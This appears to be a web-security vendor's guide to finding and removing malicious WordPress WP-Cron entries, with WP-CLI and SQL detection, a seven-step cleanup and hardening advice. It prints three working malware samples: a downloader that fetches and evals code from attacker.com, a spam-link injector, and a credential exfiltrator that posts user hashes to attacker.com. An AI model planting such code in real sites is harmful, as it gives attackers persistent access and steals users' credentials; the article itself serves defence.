Why attackers love WP-Cron
WordPress has its own pseudo-cron system: every time someone visits your site, WordPress checks if any scheduled tasks are due and runs them. Attackers love this because:
- No user interaction needed — every visitor unknowingly triggers the malware
- Runs as the web server user — has filesystem write access
- Hidden from admins — most admins never look at the cron list
- Easy persistence — even if you clean files, the cron re-creates the backdoor
This article is the playbook for finding and killing malicious WP-Cron entries.
How a malicious cron entry looks
A normal WordPress cron entry:
hourly: wp_version_check
hourly: wp_update_plugins
hourly: wp_update_themes
twicedaily: wp_scheduled_delete
daily: wp_scheduled_auto_draft_deleteA malicious one usually:
- Has a generic name like
wp_remote_get,wp_initial_check,wp_validate - Runs on an unusual interval like
5minor15min - Is registered by a file you don't recognize
- Triggers a function whose code includes
eval,base64_decode, or HTTP calls to suspicious domains
Detection with WP-CLI
WP-CLI makes this easy:
cd /var/www/yoursite
# List all scheduled events
wp cron event list
# Look for unusual hook names
wp cron event list --field=hook | sort -uCross-reference the hook names against the source. For each suspicious hook, find what file registers it:
grep -rE "add_action\s*\(\s*['"]suspicious_hook_name['"]" wp-content/If the registering file is a known plugin, the hook is legitimate. If it's a random PHP file in mu-plugins/ or a file in uploads/, it's malicious.
Detection via the database
If WP-CLI isn't available, query the cron data directly:
SELECT option_value FROM wp_options WHERE option_name = 'cron';The result is a PHP-serialized array. To make it readable:
wp option get cron --format=json | python3 -m json.toolLook for: - Hook names not matching anything legitimate - Schedule intervals not in your normal cron config - Entries with timestamps far in the future (the malware schedules itself for later)
Common malicious cron patterns
Patterns we have seen in 2025-2026:
Pattern 1 — Self-replicating downloader
// Hidden in mu-plugins/wp-update.php
add_action('init', function() {
if (!wp_next_scheduled('wp_remote_update_check')) {
wp_schedule_event(time(), 'hourly', 'wp_remote_update_check');
}
});
add_action('wp_remote_update_check', function() {
$code = @file_get_contents('http://attacker.com/payload.php');
eval(base64_decode($code));
});This cron fetches new payload code every hour from a remote server. Even if you clean the malware, the cron re-downloads it.
Pattern 2 — Database SEO injector
add_action('wp_seo_inject', function() {
global $wpdb;
$wpdb->query("UPDATE wp_posts SET post_content = CONCAT(post_content, '<hidden viagra links>') WHERE ID = (SELECT id FROM (SELECT id FROM wp_posts ORDER BY RAND() LIMIT 1) p)");
});Adds spam links to a random post every 5 minutes. Even if you clean all posts, more get polluted.
Pattern 3 — Credential exfiltrator
add_action('wp_users_check', function() {
global $wpdb;
$users = $wpdb->get_results("SELECT user_login, user_pass, user_email FROM wp_users");
wp_remote_post('http://attacker.com/collect.php', ['body' => serialize($users)]);
});Sends user data to attacker daily. The credentials are hashed but still useful for credential stuffing.
Removal procedure
Step 1 — Disable WP-Cron temporarily
In wp-config.php:
define('DISABLE_WP_CRON', true);This prevents the malicious cron from firing while you investigate.
Step 2 — Identify the malicious hooks
wp cron event list --format=tableNote all hooks that don't match known plugins.
Step 3 — Unschedule the malicious hooks
wp cron event delete <hook_name>
# repeat for each malicious hookStep 4 — Find and delete the registering code
# For each suspect hook, find what registers it
grep -rE "add_action\s*\(\s*['"]<hook>['"]" wp-content/Delete those files. If a file is in wp-content/mu-plugins/, deleting it removes the registration.
Step 5 — Clear the cron table
DELETE FROM wp_options WHERE option_name = 'cron';This wipes the entire cron schedule. WordPress will regenerate its own legitimate entries on next page load.
Step 6 — Re-enable cron
Remove or change DISABLE_WP_CRON to false in wp-config.php.
Step 7 — Verify normal cron repopulates
wp cron event list --format=tableYou should see only legitimate hooks (wp_version_check, wp_update_plugins, etc.). If a malicious one reappears, you missed a registration file.
Why server cron is better than WP-Cron
WordPress's pseudo-cron has security and reliability problems. Best practice:
Disable WP-Cron
// wp-config.php
define('DISABLE_WP_CRON', true);Add a real cron entry
crontab -e
# Add:
*/5 * * * * cd /var/www/yoursite && wp cron event run --due-now > /dev/null 2>&1This runs WP-Cron from a server-level scheduler every 5 minutes. Benefits:
- Predictable execution timing
- Doesn't depend on visitor traffic
- Logged centrally with other system cron jobs
- Easier to monitor
For malicious cron entries that registered themselves, the server cron alone doesn't fix the problem — you still need to delete the registration. But it makes the system harder to abuse going forward.
Prevention
After cleanup:
- Audit
wp cron event listweekly - File integrity monitoring on
wp-content/mu-plugins/ - WAF rules to block known exploit attempts
- Plugin updates within 7 days of security release
- Patchstack subscription for early CVE warnings
Common mistakes during cron cleanup
- Only deleting the file — without unscheduling the hook, the cron table still has the entry
- Only deleting the cron entry — without removing the file, the registration re-creates the entry
- Trusting "wp cron event list" output — some malware hides itself from WP-CLI; query the database directly
When to call a specialist
Malicious cron entries usually indicate a deeper infection. The cron is a persistence mechanism for malware that lives elsewhere. We don't just remove the cron — we trace the infection back to the entry vector and close it.
Malicious cron cleanup within hours. For broader malware see hacked website repair.

